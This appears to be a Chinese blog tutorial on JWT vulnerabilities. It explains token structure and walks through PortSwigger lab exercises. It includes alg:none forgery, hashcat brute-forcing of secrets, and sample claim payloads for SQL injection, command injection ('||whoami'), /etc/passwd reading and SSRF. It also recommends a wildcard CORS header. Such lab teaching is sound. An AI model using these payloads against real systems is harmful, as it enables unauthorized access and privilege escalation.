JWT漏洞

JWT是什么?

JWT全称是JSON Web Token,时RFC 7519定义的一种紧凑、URL安全的声明传输格式。常被用于身份认证、会话管理、API鉴权和微服务之间的身份传递。

例如用户登录成功后,服务器可以生成一枚JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJzdWIiOiIxMDAxIiwidXNlcm5hbWUiOiJsYWluIiwicm9sZSI6InVzZXIifQ . example_signature

客户端后续访问接口时携带它

GET /api/profile HTTP/1.1 
Host: example.com 
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

服务器验证JWT的签名和相关声明,确认令牌可信后,再根据其中的用户身份和权限处理请求

明确两个容易混淆的概念:JWT时令牌格式,不是登录协议,也不是加密算法#

JWT的三段结构

常见的JWT实际上采用的是JWS Compact Serializatoin,由三个Base64URL字符串组成

Header.Payload.Signature

JWS用数字签名或消息认证码保护内容的完整性;如果需要对内容进行加密,则应使用JWE。JWS与JWE是不同的标准

Header:头部

头部说明令牌使用的算法及类型

{
   "alg": "HS256",
   "typ": "JWT"
}

常见字段

  • alg:签名算法,如 HS256、RS256、ES256
  • typ:令牌类型,通常为 JWT
  • kid:密钥编号,服务器用它选择验证密钥
  • jwk:直接携带 JSON Web Key
  • jku:JWK Set 的地址
  • x5u:X.509 证书链地址

其中,JWK是使用JSON表示密码学密钥的标准格式,多个JWK可以组成JWK Set

Payload:载荷

Payload保存JWT的声明,即Claims

{ 
 "iss": "https://auth.example.com",
 "sub": "1001",
 "aud": "order-api",
 "username": "lain",
 "role": "user",
 "iat": 1783910400,
 "exp": 1783911300,
 "jti": "0c33c7da" 
}

常见的声明标准

声明含义
issIssuer,签发者
subSubject,令牌代表的主体
audAudience,令牌预期接收方
expExpiration Time,过期时间
nbfNot Before,在该时间之前不可使用
iatIssued At,签发时间
jtiJWT ID,令牌唯一编号

Signature:签名

签名输入通常是:Base64URL(Header) + “.” + Base64URL(Payload),而Signature = HMAC-SHA256(签名输入, Secret)。这里也恰好说明了一点,JWT是否可信依靠的是算法对应使用的密钥,那么正常情况伪造JWT第一步就是获取对应的密钥。

Payload = 身份证上的文字
Signature = 防伪印章
Secret / 私钥 = 制作防伪印章的核心密钥

以HS256为例:HMAC-SHA256( Base64URL(Header) + “.” + Base64URL(Payload), secret )

最终JWT为Base64URL(Header) + “.” + Base64URL(Payload) + “.” + Base64URL(Signature)

签名的作用是:
1.检测Header或Payload是否被修改
2.证明令牌由掌握密钥的一方签发
3.防止攻击者直接伪造身份和权限声明

Base64URL

JWT中的Header和Payload通常只是Base64URL编码

Base64URL与普通Base64的主要区别是:+ 替换为 – ;/ 替换为 _; 通常省略末尾的 =

因此任何获得JWT的人都可以解码Payload,所以JWT Payload中不应该存放:用户密码、私钥或API密钥等敏感信息。至于签名,签名只保护了完整性,不提供保密性

JWT工作流程

用户携带用户名和密码请求访问;

  • 服务器校验用户凭据;
  • 应用提供一个 token 给客户端;
  • 客户端存储 token,并且在随后的每一次请求中都带着它;
  • 服务器校验 token 并返回数据。

需要注意问题:

  • 每一次请求都需要 token;
  • Token 应该放在请求 header 中;
  • 需要将服务器设置为接受来自所有域的请求,用 Access-Control-Allow-Origin: *。

JWT攻击手法

完全没有验证签名

服务端只是解码JWT

DecodedJWT jwt = JWT.decode(token); String role = jwt.getClaim("role").asString();

没有调用真正的验证函数

这时攻击者可以把

{
 "role": "user" 
}

修改为

{
 "role": "admin" 
}

签名为空

JWT第一部分含有alg字段,该字段指定生成签名采用哪种哈希算法,如果某站使用的是HS256,可将该字段篡改为none,某些JWT的实现,一旦发现alg为none,将不再生成哈希签名,自然不存在校验签名一说,直接将payload里的username改为admin即可篡改用户信息

将头部alg的值修改为none,接着修改payload内容编码复制前两部分即可,最后一部分因为alg:none所以不存在

爆破弱密钥

将JWT内容保存至jwt.txt文档内

用kali自带的字典或者字典:https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list进行爆破

hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 jwt数据文件 爆破jwt的字典

爆破出密钥之后即可修改JWT进行越权等

未验证签名导致越权

直接修改userid编码即可

JWT常见漏洞利用

通过爆破出key以后,可以利用JWT进行漏洞测试

水平越权

把1234567890改为1234567891

{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "N",
"iat": 1690989833
}

垂直越权

把sysadmin的值N改为Y(NO改为YES或者false改为true)

{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "Y",
"iat": 1690989833
}

SQL注入

{
"sub": "1234567890",
"name": "0xShe",
"data": "1' UNION SELECT 'key';-- ",
"iat": 1690989833
}

命令执行

{
"sub": "1234567890",
"name": "0xShe",
"echo": "yes||whoami",
"iat": 1690989833
}

文件读取

{
"sub": "1234567890",
"name": "0xShe",
"path": "/etc/passwd",
"iat": 1690989833
}

SSRF

{
"url": "http://www.DNSlog.cn/",
"iat": 1690989833
}

靶场实战


未经验证的签名绕过JWT身份验证

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature

进入靶场点击登录

普通账号/密码:wiener/peter

登录后用BP抓包看看,很明显的三段JWT

对JWT内容进行解密查看内容

直接修改sub值为administrator


有缺陷的签名验证绕过JWT身份验证

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification

将alg更改为none,sub改为administrator

弱签名密钥绕过JWT身份验证

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key

一样的登录普通用户账号然后对JWT内容进行解码查看

这里不清楚使用的密钥,若不知道对应密钥那么伪造的JWT将不会被服务器所认可,所以对密钥进行爆破

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇